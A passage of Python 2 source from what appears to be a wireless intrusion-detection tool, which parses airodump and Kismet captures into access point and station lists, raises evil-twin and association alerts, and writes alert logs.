               __builtin__.MSG_NoAssocConnection = __builtin__.MSG_NoAssocConnection + ColorStd2 + "  Signal   [ " + ColorDev + str(ListInfo_STATION[x]) + ColorStd + " ] = " + ColorDev + str(GetSignalData(str(ListInfo_STATION[x]))) + ColorStd + " ==> [ " + Color2nd + str(ListInfo_CBSSID[x]) + ColorStd + " ] = " + Color2nd  + str(GetSignalData(str(ListInfo_CBSSID[x]))) + "\n"
               __builtin__.MSG_NoAssocConnection = __builtin__.MSG_NoAssocConnection + ArrangeSignalLocation(ColorDev,str(ListInfo_STATION[x]),str(GetSignal(str(ListInfo_STATION[x]))),Color1st,ListInfo_CBSSID[x],str(GetSignal(ListInfo_CBSSID[x])),"  ",ColorStd2,"")
               __builtin__.MSG_NoAssocConnection = __builtin__.MSG_NoAssocConnection + str(OUITxt) + str(ESSIDTxt3) + str(OUITxt3) 
               __builtin__.MSG_NoAssocConnection = __builtin__.MSG_NoAssocConnection + str(DisplaySSIDDetail(ListInfo_CBSSID[x]))
               __builtin__.MSG_NoAssocConnection = __builtin__.MSG_NoAssocConnection + str(ReportNow())+ "\n"
            ListInfo_CBSSIDPrev[x]=ListInfo_CBSSID[x]
            if str(ListInfo_CBSSIDPrevList[x]).find(str(ListInfo_CBSSID[x]))==-1:
                ListInfo_CBSSIDPrevList[x]=ListInfo_CBSSIDPrevList[x] + str(ListInfo_CBSSID[x]) + " | " 
        x += 1
    if __builtin__.MSG_DiffBSSIDConnection!="" or __builtin__.MSG_NoAssocConnection!="" or __builtin__.MSG_APnClient!="" or __builtin__.MSG_EvilTwins!="":
        if __builtin__.SHOW_CONNECTION_ALERT=="Yes":
            CenterText(fcolor.BGIYellow + fcolor.BRed,"=====  ASSOCIATION/CONNECTION  ALERT  [ " + str(CautiousCount) + " ] ===== ")
            print ""
            BeepSound()
            if __builtin__.MSG_EvilTwins!="":
                __builtin__.MSG_EvilTwins=str(__builtin__.MSG_EvilTwins).replace("\n\n\n","\n\n")
                print str(__builtin__.MSG_EvilTwins)
                WriteCautiousLog(__builtin__.MSG_EvilTwins)
                if str(__builtin__.MSG_HistoryConnection).find(__builtin__.MSG_EvilTwins)==-1:
                    __builtin__.MSG_HistoryConnection=__builtin__.MSG_HistoryConnection + __builtin__.MSG_EvilTwins + "\n"
                    __builtin__.MSG_HistoryConnection=RemoveAdditionalLF(__builtin__.MSG_HistoryConnection)
                    __builtin__.MSG_CombinationLogs=__builtin__.MSG_CombinationLogs + __builtin__.MSG_EvilTwins + ""
            if __builtin__.MSG_APnClient!="":
                __builtin__.MSG_APnClient=fcolor.BRed + "Dual Device Type Detected !!!\n" + __builtin__.MSG_APnClient
                __builtin__.MSG_APnClient=str(__builtin__.MSG_APnClient).replace("\n\n\n","\n\n")
                print str(__builtin__.MSG_APnClient)
                WriteCautiousLog(__builtin__.MSG_APnClient)
                if str(__builtin__.MSG_HistoryConnection).find(__builtin__.MSG_APnClient)==-1:
                    __builtin__.MSG_HistoryConnection=__builtin__.MSG_HistoryConnection + __builtin__.MSG_APnClient + "\n"
                    __builtin__.MSG_HistoryConnection=RemoveAdditionalLF(__builtin__.MSG_HistoryConnection)
                    __builtin__.MSG_CombinationLogs=__builtin__.MSG_CombinationLogs + __builtin__.MSG_APnClient + ""
            if __builtin__.MSG_NoAssocConnection!="":
                __builtin__.MSG_NoAssocConnection=fcolor.BRed + "New Association Detected !!!\n" + __builtin__.MSG_NoAssocConnection
                __builtin__.MSG_NoAssocConnection=str(__builtin__.MSG_NoAssocConnection).replace("\n\n\n","\n\n")
                print str(__builtin__.MSG_NoAssocConnection)
                WriteCautiousLog(__builtin__.MSG_NoAssocConnection)
                __builtin__.MSG_HistoryConnection=__builtin__.MSG_HistoryConnection + __builtin__.MSG_NoAssocConnection + "\n"
                __builtin__.MSG_HistoryConnection=RemoveAdditionalLF(__builtin__.MSG_HistoryConnection)
                __builtin__.MSG_CombinationLogs=__builtin__.MSG_CombinationLogs + __builtin__.MSG_NoAssocConnection + ""
            if __builtin__.MSG_DiffBSSIDConnection!="":
                __builtin__.MSG_DiffBSSIDConnection=fcolor.BRed + "Station Switching Connection\n" + __builtin__.MSG_DiffBSSIDConnection
                __builtin__.MSG_DiffBSSIDConnection=str(__builtin__.MSG_DiffBSSIDConnection).replace("\n\n\n","\n\n")
                WriteCautiousLog(__builtin__.MSG_DiffBSSIDConnection)
                print str(__builtin__.MSG_DiffBSSIDConnection)
                __builtin__.MSG_HistoryConnection=__builtin__.MSG_HistoryConnection + __builtin__.MSG_DiffBSSIDConnection + ""
                __builtin__.MSG_HistoryConnection=RemoveAdditionalLF(__builtin__.MSG_HistoryConnection)
                __builtin__.MSG_CombinationLogs=__builtin__.MSG_CombinationLogs + __builtin__.MSG_DiffBSSIDConnection + ""
            LineBreak()

def WriteSwitchedAP(StnMAC,PrevBSSID,NewBSSID,PrevESSID,NewESSID):
    SkipWrite=0
    with open(DBFile6,"r") as f:
        next(f)
        for line in f:
            line=line.replace("\n","").replace("\r","")
            sl=len(line)
            if SkipWrite==0 and sl>17:
                tmplist=[]
                tmplist=str(line).split(";")
                if len(tmplist)>=6:
                    if tmplist[0]==str(StnMAC) and tmplist[1]==str(PrevBSSID) and tmplist[2]==str(NewBSSID) and tmplist[4]==str(PrevESSID)  and tmplist[5]==str(NewESSID):
                        SkipWrite=1
        if SkipWrite==0 and RemoveUnwantMAC(StnMAC)!="":
            WriteData=str(StnMAC) + str(col)
            WriteData=WriteData + str(PrevBSSID) + str(col)  
            WriteData=WriteData + str(NewBSSID) + str(col) 
            WriteData=WriteData + str(Now()) + str(col)
            WriteData=WriteData + str(PrevESSID) + str(col) 
            WriteData=WriteData + str(NewESSID) + str(col) + "\n"
            open(DBFile6,"a+b").write(WriteData)

def WriteCautiousLog(StrVal):
    StrVal=RemoveColor(StrVal)
    if IsFileDirExist(CautiousLog)!="F":
        open(CautiousLog,"w").write("")
    if IsFileDirExist(CautiousLog)=="F":
        open(CautiousLog,"a+b").write(StrVal)

def WriteAttackLog(StrVal):
    StrVal=RemoveColor(StrVal)
    if IsFileDirExist(AttackLog)!="F":
        open(AttackLog,"w").write("")
    if IsFileDirExist(AttackLog)=="F":
        open(AttackLog,"a+b").write(StrVal)

def WriteSuspiciousLog(StrVal):
    StrVal=RemoveColor(StrVal) + "\n"
    StrVal=str(StrVal).replace("\n\n","\n")
    if StrVal.find("Total Record")!=-1:
        StrVal=StrVal+"\n"
    if IsFileDirExist(SuspiciousLog)!="F":
        open(SuspiciousLog,"w").write("")
    if IsFileDirExist(SuspiciousLog)=="F":
        open(SuspiciousLog,"a+b").write(StrVal)

def ExtractClient():
    LineList = []
    linecount=0
    lineblock=0
    completed=""
    if IsFileDirExist(__builtin__.Client_CSV)=="F":
        Result=GetFileLine(__builtin__.Client_CSV,"1")
        if int(__builtin__.TotalLine)>300:
            printc ("!!!",fcolor.SRed + "Unusual large amount of station detected : " + fcolor.BRed + str(__builtin__.TotalLine) + " stations","")
        with open(__builtin__.Client_CSV,"r") as f:
            __builtin__.ListInfo_CExist = 0
            __builtin__.ListInfo_CAdd = 0
            __builtin__.ListInfo_CRemoved = 0
            __builtin__.ListInfo_BRemoved = 0
            __builtin__.ListInfo_UnassociatedCount = 0
            __builtin__.ListInfo_AssociatedCount = 0
            __builtin__.ListInfo_ProbeCount = 0
            for line in f:
                linecount += 1;lineblock += 1
                if lineblock==10:
                    completed=Percent(linecount / float(__builtin__.TotalLine),2)
                    printl (spacing + fcolor.SGreen + "Extracting Stations Information... - " + str(completed),"0","")
                    lineblock=0
                line=line.replace("\n","").replace("\00","").replace("\r","")
                if len(line)>=94:
                    line=line + ";;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;"
                    st = list(line)
                    st[18]=";"
                    st[39]=";"
                    st[60]=";"
                    st[65]=";"
                    st[75]=";"
                    st[94]=";"
                    lp="".join(st)
                    lp=lp.replace(",;","; ")
                    LineList=lp.split(";")
                    STATION=LineList[0]
                    if len(STATION)==17:
                        foundloc=FindMACIndex(STATION,ListInfo_BSSID)
                        cBSSID=LineList[5]
                        if foundloc!=-1:
                            if CheckRepeat(STATION)!="-" and cBSSID!="(not associated)":
                                STATION=""
                    if len(STATION)==17:
                        x=0
                        foundloc=0
                        Skip=""
                        if str(ListInfo_STATION).find(STATION)!=-1:
                            foundloc=FindMACIndex(STATION,ListInfo_STATION)
                            Skip="1"
                            if __builtin__.ListInfo_STATION[foundloc]!=STATION:
                                print "STATION : " + str(STATION)
                                print "ListInfo_STATION[foundloc] : " + str(ListInfo_STATION[foundloc])
                                printc ("x","","")
                        CQualityPercent=0
                        CQRange=fcolor.SBlack + "Unknown"
                        CSignal=str(LineList[3]).lstrip().rstrip()
                        if len(CSignal)>1 and len(CSignal)<4:
                            CSignal=CSignal.replace("-","")
                            if CSignal.isdigit()==True:
                                CSignal="-" + str(CSignal)
                                CQualityPercent=int(100 + int(CSignal))
                                if CQualityPercent>=99 or CQualityPercent==0:  
                                    CQRange=fcolor.SBlack + "Unknown"
                                if CQualityPercent>=70 and CQualityPercent<=98:
                                    CQRange=fcolor.SGreen + "V.Good"
                                if CQualityPercent>=50 and CQualityPercent<=69:
                                    CQRange=fcolor.SGreen + "Good"
                                if CQualityPercent>=26 and CQualityPercent<=49:
                                    CQRange=fcolor.SYellow + "Average"
                                if CQualityPercent>=1 and CQualityPercent<=25:
                                    CQRange=fcolor.SRed + "Poor"
                        ProbesData=LineList[6]
                        ProbesData=ProbesData.replace(","," / ").lstrip().rstrip()
                        Assoc=LineList[5]
                        if ProbesData!="":
                            __builtin__.ListInfo_ProbeCount += 1
                        if Assoc!="":
                            Assoc=str(Assoc).lstrip().rstrip()
                            Assoc=str(Assoc).replace("(not associated)","Not Associated")
                            
                            if Assoc.find("Not Associated")==-1:
                                __builtin__.ListInfo_AssociatedCount += 1
                            else:
                                Assoc="Not Associated"
                                __builtin__.ListInfo_UnassociatedCount += 1
                            if Assoc!="Not Associated":
                                ESSID=FindESSID(Assoc)
                            else:
                                ESSID=""
                        else:
                            ESSID=""
                        CLIENT_OUI=Check_OUI(STATION,"")
                        if LineList[1]!="":
                            StartTime=LineList[1].lstrip().rstrip()
                            EndTime=LineList[2].lstrip().rstrip()
                            Elapse=CalculateTime (StartTime,EndTime)
                        else:
                            StartTime=""
                            EndTime=""
                            Elapse=""
                        DontAdd=0
                        if int(__builtin__.TimeGap)>= int(__builtin__.TOTALLY_REMOVE_MIN):
                            DontAdd=1
                            Skip=="1"
                        if Skip=="":
                            __builtin__.ListInfo_CAdd += 1
                            __builtin__.ListInfo_STATION.append (str(STATION).lstrip().rstrip())
                            __builtin__.ListInfo_CFirstSeen.append ((LineList[1]).lstrip().rstrip())
                            __builtin__.ListInfo_CLastSeen.append ((LineList[2]).lstrip().rstrip())
                            __builtin__.ListInfo_CBestQuality.append (str(LineList[3]).lstrip().rstrip())
                            __builtin__.ListInfo_CQualityRange.append (CQRange)
                            __builtin__.ListInfo_CQualityPercent.append (CQualityPercent)
                            __builtin__.ListInfo_CPackets.append (str(LineList[4]).lstrip().rstrip())
                            __builtin__.ListInfo_STNStandard.append ("-")
                            __builtin__.ListInfo_CBSSID.append (str(Assoc).lstrip().rstrip())
                            __builtin__.ListInfo_CBSSIDPrev.append (str(Assoc).lstrip().rstrip())
                            __builtin__.ListInfo_CBSSIDPrevList.append (str(Assoc).lstrip().rstrip() + " | ")
                            __builtin__.ListInfo_PROBE.append (str(ProbesData).lstrip().rstrip())
                            __builtin__.ListInfo_CESSID.append (str(ESSID).lstrip().rstrip())
                            __builtin__.ListInfo_COUI.append (str(CLIENT_OUI).lstrip().rstrip())
                            if LineList[1]!="":
                                StartTime=LineList[1].lstrip().rstrip()
                                EndTime=LineList[2].lstrip().rstrip()
                                Elapse=CalculateTime (StartTime,EndTime)
                            else:
                                StartTime=""
                                EndTime=""
                                Elapse=""
                            __builtin__.ListInfo_CElapse.append (Elapse)
                            __builtin__.ListInfo_CTimeGap.append (__builtin__.TimeGap)
                            __builtin__.ListInfo_CTimeGapFull.append (__builtin__.TimeGapFull)
                        elif DontAdd==0:
                            __builtin__.ListInfo_CExist += 1
                            __builtin__.ListInfo_STATION[foundloc] = str(STATION).lstrip().rstrip()
                            __builtin__.ListInfo_CFirstSeen[foundloc] = str(LineList[1]).lstrip().rstrip()
                            __builtin__.ListInfo_CLastSeen[foundloc] = str(LineList[2]).lstrip().rstrip()
                            __builtin__.ListInfo_CBestQuality[foundloc] = str(LineList[3]).lstrip().rstrip()
                            __builtin__.ListInfo_CQualityRange[foundloc] = str(CQRange)
                            __builtin__.ListInfo_CQualityPercent[foundloc] = str(CQualityPercent)
                            __builtin__.ListInfo_CPackets[foundloc] = str(LineList[4]).lstrip().rstrip()
                            __builtin__.ListInfo_CBSSID[foundloc] = str(Assoc).lstrip().rstrip()
                            __builtin__.ListInfo_CESSID[foundloc] = str(ESSID).lstrip().rstrip()
                            __builtin__.ListInfo_PROBE[foundloc] = str(ProbesData).lstrip().rstrip()
                            __builtin__.ListInfo_COUI[foundloc] = str(CLIENT_OUI).lstrip().rstrip()
    printl (spacing + fcolor.BGreen + "Station List extraction completed..\r","0","")
    RemoveInactive()

def RemoveInactive():
   try:
    x=0
    x=len(__builtin__.ListInfo_BSSID)-1
    while x >-1:
        if int(__builtin__.ListInfo_SSIDTimeGap[x]) >= int(__builtin__.TOTALLY_REMOVE_MIN):
            ListInfo_ESSID.pop(x)
            ListInfo_HiddenSSID.pop(x)
            ListInfo_BSSIDTimes.pop(x)
            ListInfo_BSSID.pop(x)
            ListInfo_Channel.pop(x)
            ListInfo_APStandard.pop(x)
            ListInfo_ESS.pop(x)
            ListInfo_Cloaked.pop(x)
            ListInfo_Privacy.pop(x)
            ListInfo_Cipher.pop(x)
            ListInfo_Auth.pop(x)
            ListInfo_MaxRate.pop(x)
            ListInfo_Beacon.pop(x)
            ListInfo_Data.pop(x)
            ListInfo_Total.pop(x)
            ListInfo_FirstSeen.pop(x)
            ListInfo_LastSeen.pop(x)
            ListInfo_BestQuality.pop(x)
            ListInfo_BestSignal.pop(x)
            ListInfo_BestNoise.pop(x)
            ListInfo_GPSBestLat.pop(x)
            ListInfo_GPSBestLon.pop(x)
            ListInfo_GPSBestAlt.pop(x)
            ListInfo_QualityRange.pop(x)
            ListInfo_QualityPercent.pop(x)
            ListInfo_BSSID_OUI.pop(x)
            ListInfo_WPS.pop(x)
            ListInfo_WPSVer.pop(x)
            ListInfo_WPSLock.pop(x)
            ListInfo_ConnectedClient.pop(x)
            ListInfo_Freq.pop(x)
            ListInfo_Signal.pop(x)
            ListInfo_Enriched.pop(x)
            ListInfo_Quality.pop(x)
            ListInfo_BitRate.pop(x)
            ListInfo_WPAVer.pop(x)
            ListInfo_PairwiseCipher.pop(x)
            ListInfo_GroupCipher.pop(x)
            ListInfo_AuthSuite.pop(x)
            ListInfo_LastBeacon.pop(x)
            ListInfo_Mode.pop(x)
            ListInfo_EncKey.pop(x)
            ListInfo_SSIDElapse.pop(x)
            ListInfo_SSIDTimeGap.pop(x)
            ListInfo_SSIDTimeGapFull.pop(x)
            __builtin__.ListInfo_BRemoved += 1
        else:
            y=0
            y=len(__builtin__.ListInfo_STATION)-1
            while y >-1:
                if int(__builtin__.ListInfo_CTimeGap[y]) >= int(__builtin__.TOTALLY_REMOVE_MIN):
                    ListInfo_STATION.pop(y)
                    ListInfo_STNStandard.pop(y)
                    ListInfo_CFirstSeen.pop(y)
                    ListInfo_CLastSeen.pop(y)
                    ListInfo_CBestQuality.pop(y)
                    ListInfo_CQualityRange.pop(y)
                    ListInfo_CQualityPercent.pop(y)
                    ListInfo_CPackets.pop(y)
                    ListInfo_CBSSID.pop(y)
                    ListInfo_CBSSIDPrev.pop(y)
                    ListInfo_CBSSIDPrevList.pop(y)
                    ListInfo_PROBE.pop(y)
                    ListInfo_CESSID.pop(y)
                    ListInfo_COUI.pop(y)
                    ListInfo_CElapse.pop(y)
                    ListInfo_CTimeGap.pop(y)
                    ListInfo_CTimeGapFull.pop(y)
                    __builtin__.ListInfo_CRemoved += 1
                y=y-1
        x -= 1
    RecalculateClient()
   except:
    RecalculateClient()
    return

def RemoveFloodedAP(sESSID,sFBSSID):
    x=0
    delete=""
    x=int(len(__builtin__.ListInfo_BSSID))-1
    while x >-1:
        delete=""
        if sESSID!="" and ListInfo_ESSID[x]==sESSID and ListInfo_FirstSeen[x]==ListInfo_LastSeen[x]:
            delete="1"
        elif sESSID=="" and sFBSSID!="": # and ListInfo_FirstSeen[x]==ListInfo_LastSeen[x]:
          FBSSID=ListInfo_BSSID[x][:len(sFBSSID)]
          if sFBSSID==FBSSID:
              delete="1"
        elif sESSID=="<NONE>" and ListInfo_ESSID=="":
            delete="1"
        if delete=="1":
            ListInfo_ESSID.pop(x)
            ListInfo_HiddenSSID.pop(x)
            ListInfo_BSSIDTimes.pop(x)
            ListInfo_BSSID.pop(x)
            ListInfo_Channel.pop(x)
            ListInfo_APStandard.pop(x)
            ListInfo_ESS.pop(x)
            ListInfo_Cloaked.pop(x)
            ListInfo_Privacy.pop(x)
            ListInfo_Cipher.pop(x)
            ListInfo_Auth.pop(x)
            ListInfo_MaxRate.pop(x)
            ListInfo_Beacon.pop(x)
            ListInfo_Data.pop(x)
            ListInfo_Total.pop(x)
            ListInfo_FirstSeen.pop(x)
            ListInfo_LastSeen.pop(x)
            ListInfo_BestQuality.pop(x)
            ListInfo_BestSignal.pop(x)
            ListInfo_BestNoise.pop(x)
            ListInfo_GPSBestLat.pop(x)
            ListInfo_GPSBestLon.pop(x)
            ListInfo_GPSBestAlt.pop(x)
            ListInfo_QualityRange.pop(x)
            ListInfo_QualityPercent.pop(x)
            ListInfo_BSSID_OUI.pop(x)
            ListInfo_WPS.pop(x)
            ListInfo_WPSVer.pop(x)
            ListInfo_WPSLock.pop(x)
            ListInfo_ConnectedClient.pop(x)
            ListInfo_Freq.pop(x)
            ListInfo_Signal.pop(x)
            ListInfo_Enriched.pop(x)
            ListInfo_Quality.pop(x)
            ListInfo_BitRate.pop(x)
            ListInfo_WPAVer.pop(x)
            ListInfo_PairwiseCipher.pop(x)
            ListInfo_GroupCipher.pop(x)
            ListInfo_AuthSuite.pop(x)
            ListInfo_LastBeacon.pop(x)
            ListInfo_Mode.pop(x)
            ListInfo_EncKey.pop(x)
            ListInfo_SSIDElapse.pop(x)
            ListInfo_SSIDTimeGap.pop(x)
            ListInfo_SSIDTimeGapFull.pop(x)
            __builtin__.ListInfo_BRemoved += 1
        x -= 1
    return

def RemoveUnassociatedClient(sBSSID):
   try:
    y=0
    delete=0
    y=len(__builtin__.ListInfo_STATION)
    y=y-1
    while y >-1:
        if sBSSID=="" and ListInfo_CBSSID[y]=="Not Associated" and ListInfo_CFirstSeen[y]==ListInfo_CLastSeen[y]:
            delete=1
        if sBSSID!="" and ListInfo_CBSSID[y]==sBSSID and ListInfo_CFirstSeen[y]==ListInfo_CLastSeen[y]:
            delete=1
        if delete==1:
            ListInfo_STATION.pop(y)
            ListInfo_STNStandard.pop(y)
            ListInfo_CFirstSeen.pop(y)
            ListInfo_CLastSeen.pop(y)
            ListInfo_CBestQuality.pop(y)
            ListInfo_CQualityRange.pop(y)
            ListInfo_CQualityPercent.pop(y)
            ListInfo_CPackets.pop(y)
            ListInfo_CBSSID.pop(y)
            ListInfo_CBSSIDPrev.pop(y)
            ListInfo_CBSSIDPrevList.pop(y)
            ListInfo_PROBE.pop(y)
            ListInfo_CESSID.pop(y)
            ListInfo_COUI.pop(y)
            ListInfo_CElapse.pop(y)
            ListInfo_CTimeGap.pop(y)
            ListInfo_CTimeGapFull.pop(y)
            __builtin__.ListInfo_CRemoved += 1
            delete=0
        y = y-1
    RecalculateClient()
   except:
    RecalculateClient()
    return

def RecalculateClient():
    x=0
    while x<len(ListInfo_BSSID):
        ListInfo_ConnectedClient[x]="0"
        StartTime=__builtin__.ListInfo_FirstSeen[x]
        EndTime=__builtin__.ListInfo_LastSeen[x]
        Elapse=CalculateTime (StartTime,EndTime)
        __builtin__.ListInfo_SSIDElapse[x]= str(Elapse)
        __builtin__.ListInfo_SSIDTimeGap[x]= str(__builtin__.TimeGap)
        __builtin__.ListInfo_SSIDTimeGapFull[x]= str(__builtin__.TimeGapFull)
        if __builtin__.ListInfo_Privacy[x]=="WEP":
            if __builtin__.ListInfo_Cipher[x]=="CCMP/TKIP" or __builtin__.ListInfo_Cipher[x]=="CCMP":
                __builtin__.ListInfo_Privacy[x]="WPA2"
            if __builtin__.ListInfo_Cipher[x]=="TKIP":
                __builtin__.ListInfo_Privacy[x]="WPA"
        if __builtin__.ListInfo_Privacy[x]=="WPA2" or __builtin__.ListInfo_Privacy[x]=="WPA":
            if str(__builtin__.ListInfo_Cipher[x]).find("WEP")!=-1:
                __builtin__.ListInfo_Cipher[x]="CCMP"
        x += 1
    x=0
    while x<len(ListInfo_STATION):
        StartTime=__builtin__.ListInfo_CFirstSeen[x]
        EndTime=__builtin__.ListInfo_CLastSeen[x]
        Elapse=CalculateTime (StartTime,EndTime)
        __builtin__.ListInfo_CElapse[x]= str(Elapse)
        __builtin__.ListInfo_CTimeGap[x]= str(__builtin__.TimeGap)
        __builtin__.ListInfo_CTimeGapFull[x]= str(__builtin__.TimeGapFull)
        if ListInfo_CBSSID[x]!="Not Associated":
            foundloc=FindMACIndex(ListInfo_CBSSID[x],ListInfo_BSSID)
            if foundloc!=-1:
                CLN=ListInfo_ConnectedClient[foundloc]
                CLN=int(CLN)+1
                ListInfo_ConnectedClient[foundloc]=int(CLN)
        x=x+1

def FindESSID(MACAddr):
    BSSIDLoc=str(ListInfo_BSSID).find(str(MACAddr))
    if BSSIDLoc!=-1:
        ax=int(BSSIDLoc) -2
        ax=ax/21
        if ListInfo_BSSID[ax]==MACAddr:
            Result=ListInfo_ESSID[ax]
            return Result
    return ""

def EnrichDump():
    if IsFileDirExist(__builtin__.SSID_CSV)=="F":
        with open(__builtin__.SSID_CSV,"r") as f:
            for line in f:
                line=line.replace("\n","")
                line=line.replace("\00","")
                if len(line)>20:
                    line=line + ";;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;"
                    line=line.replace(",",";")
                    LineList=line.split(";")
                    BSSID=LineList[0]
                    FIRSTSEEN=LineList[1]
                    LASTSEEN=LineList[2]
                    CHANNEL=LineList[3]
                    FREQ=LineList[4]
                    ENCRYPTION=LineList[5].lstrip().rstrip()
                    CIPHER=LineList[6].lstrip().rstrip()
                    AUTH=LineList[7].lstrip().rstrip()
                    SIGNAL=LineList[8].lstrip().rstrip()
                    if CIPHER=="CCMP TKIP":
                        CIPHER="CCMP/TKIP"
                    x=0
                    while x < len(ListInfo_BSSID):
                        if BSSID==ListInfo_BSSID[x]:
                            if CIPHER!="":
                                ListInfo_Cipher[x] = CIPHER
                            if AUTH!="":
                                ListInfo_Auth[x] = AUTH
                            x=len(ListInfo_BSSID)
                        x=x+1

def ExtractDump(NoKill):
    linecount=0
    lineblock=0
    completed=""
    if NoKill=="":
        if __builtin__.DumpProc!="":
            KillSubProc(str(__builtin__.DumpProc))
        RunAirodump()
        cmdLine="ps -eo pid | grep '" + str(__builtin__.DumpProc) + "'"
        ps=subprocess.Popen(cmdLine , shell=True, stdout=subprocess.PIPE)	
        readout=str(ps.stdout.read().replace("\n",""))
        readout=str(readout).lstrip().rstrip()
        ps.wait();ps.stdout.close()
        __builtin__.DumpProc=str(__builtin__.DumpProc)
        if str(readout)!=str(__builtin__.DumpProc):
            printc ("!", "[Network Monitor stopped - Restarting]","")
            RunAirodump()
            time.sleep(1)
        cmdLine="ps -eo pid | grep '" + str(__builtin__.WashProc) + "'"
        __builtin__.WashProc=str(__builtin__.WashProc)
        ps=subprocess.Popen(cmdLine , shell=True, stdout=subprocess.PIPE)	
        readout=str(ps.stdout.read().replace("\n",""))
        readout=str(readout).lstrip().rstrip()
        ps.wait();ps.stdout.close()
    LineList = []
    Encryption = []
    __builtin__.ListInfo_Exist = 0
    __builtin__.ListInfo_Add = 0
    if IsFileDirExist(__builtin__.NewCaptured_Kismet)=="F":
        Result=GetFileLine(__builtin__.NewCaptured_Kismet,"1")
        if int(__builtin__.TotalLine)>100:
            printc ("!!!",fcolor.SRed + "Unusual large amount of access point detected : " + fcolor.BRed + str(__builtin__.TotalLine),"")
        with open(__builtin__.NewCaptured_Kismet,"r") as f:
            for line in f:
                linecount += 1;lineblock += 1
                if lineblock==10:
                    completed=Percent(linecount / float(__builtin__.TotalLine),2)
                    printl (spacing + fcolor.SGreen + "Extracting Access Point Information... - " + str(completed),"0","")
                    lineblock=0
                line=line.replace("\n","")
                line=line.replace("\00","")
                if line.find("Network;NetType;ESSID;BSSID;Info;Channel")==-1 and len(line)>10:
                    line=line + "0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;"
                    LineList=line.split(";")
                    BSSID=LineList[3]
                    if len(BSSID)==17:
                        ESSID=LineList[2]
                        if len(ESSID)==0:
                            ESSID=""
                        if len(ESSID)>=32:
                            ESSID=ESSID[:-32]
                        x=0
                        foundloc=0
                        Skip=""
                        mi=FindMACIndex(BSSID,ListInfo_BSSID)
                        if mi!=-1:
                            foundloc=mi
                            Skip="1"
                            if IsAscii(ESSID)==True and ESSID.find("\\x")==-1:
                                if ListInfo_BSSID[foundloc]==BSSID:
                                    if ListInfo_ESSID[foundloc]!="" and IsAscii(ESSID)==True and ESSID.find("\\x")==-1:
                                        ESSID=ListInfo_ESSID[foundloc]
                        QualityPercent=0
                        QRange=fcolor.SBlack + "Unknown"
                        if len(LineList[21])>1 and len(LineList[21])<4:
                            if str(LineList[21])=="No" or str(LineList[21])=="Yes":
                                LineList[21]=-1
                            QualityPercent=int(100 + int(LineList[21]))
                            if QualityPercent>=99 or QualityPercent==0:  
                                QRange=fcolor.SBlack + "Unknown"
                            if QualityPercent>=70 and QualityPercent<=98:
                                QRange=fcolor.SGreen + "V.Good"
                            if QualityPercent>=50 and QualityPercent<=69:
                                QRange=fcolor.SGreen + "Good"
                            if QualityPercent>=26 and QualityPercent<=49:
                                QRange=fcolor.SYellow + "Average"
                            if QualityPercent>=1 and QualityPercent<=25:
                                QRange=fcolor.SRed + "Poor"
                        Encryption=LineList[7].split(",")
                        Encryption.append ("-");Encryption.append ("-");Encryption.append ("-")
                        Privacy="";Ciper="";Auth=""
                        Privacy=Encryption[0];Ciper=Encryption[1];Auth=Encryption[2];
                        HiddenSSID="No"
                        if len(LineList[2])==0:
                            HiddenSSID="Yes"
                        BSSID_OUI=Check_OUI(BSSID,"")
                        StartTime=LineList[19].lstrip().rstrip()
                        StartTime2=str(LineList[19]).lstrip().rstrip()
                        EndTime=LineList[20].lstrip().rstrip()
                        StartTime=ConvertDateFormat(StartTime,"%c")
                        EndTime=ConvertDateFormat(EndTime,"%c")
                        if Skip=="":
                            __builtin__.ListInfo_Add += 1
                            ListInfo_ESSID.append (ESSID)
                            ListInfo_HiddenSSID.append (HiddenSSID)
                            ListInfo_BSSIDTimes.append ("1")
                            ListInfo_BSSID.append (LineList[3])
                            ListInfo_Channel.append (LineList[5])
                            ListInfo_APStandard.append ("-")
                            ListInfo_ESS.append ("-")
                            ListInfo_Cloaked.append (LineList[6])
                            ListInfo_Privacy.append (Privacy)
                            ListInfo_Cipher.append (Ciper)
                            ListInfo_Auth.append (Auth)
                            ListInfo_MaxRate.append (LineList[9])
                            ListInfo_Beacon.append (LineList[11])
                            ListInfo_Data.append (LineList[13])
                            ListInfo_Total.append (LineList[16])
                            ListInfo_FirstSeen.append (StartTime)
                            ListInfo_LastSeen.append (EndTime)
                            ListInfo_BestQuality.append (LineList[21])
                            ListInfo_BestSignal.append (LineList[22])
                            ListInfo_BestNoise.append (LineList[23])
                            ListInfo_GPSBestLat.append (LineList[32])
                            ListInfo_GPSBestLon.append (LineList[33])
                            ListInfo_GPSBestAlt.append (LineList[34])
                            ListInfo_QualityRange.append(QRange)
                            ListInfo_QualityPercent.append (str(QualityPercent))
                            ListInfo_BSSID_OUI.append(BSSID_OUI)
                            ListInfo_WPS.append (str("-"))
                            ListInfo_WPSVer.append (str("-"))
                            ListInfo_WPSLock.append (str("-"))
                            ListInfo_ConnectedClient.append ("0")
                            __builtin__.ListInfo_Freq.append (str(GetFrequency(LineList[5])))
                            __builtin__.ListInfo_Signal.append (str("-"))
                            __builtin__.ListInfo_Enriched.append (str(""))
                            __builtin__.ListInfo_Quality.append (str("-"))
                            __builtin__.ListInfo_BitRate.append (str("-"))
                            __builtin__.ListInfo_WPAVer.append (str("-"))
                            __builtin__.ListInfo_PairwiseCipher.append (str("-"))
                            __builtin__.ListInfo_GroupCipher.append (str("-"))
                            __builtin__.ListInfo_AuthSuite.append (str("-"))
                            __builtin__.ListInfo_LastBeacon.append (str("-"))
                            __builtin__.ListInfo_Mode.append (str("-"))
                            __builtin__.ListInfo_EncKey.append (str("-"))
                            Elapse=CalculateTime (StartTime,EndTime)
                            __builtin__.ListInfo_SSIDElapse.append (Elapse)
                            __builtin__.ListInfo_SSIDTimeGap.append (__builtin__.TimeGap)
                            __builtin__.ListInfo_SSIDTimeGapFull.append (__builtin__.TimeGapFull)
                        else:
                            __builtin__.ListInfo_Exist += 1
                            Times=ListInfo_BSSIDTimes[foundloc]
                            Times=int(Times)+1
                            ListInfo_BSSIDTimes[foundloc]=Times
                            ListInfo_HiddenSSID[foundloc]= HiddenSSID
                            ListInfo_BSSID[foundloc] = LineList[3]
                            if LineList[5]>0:
                                ListInfo_Channel[foundloc] =  LineList[5]
                            ListInfo_Cloaked[foundloc] = LineList[6]
                            if __builtin__.ListInfo_Enriched[foundloc]!="Yes":
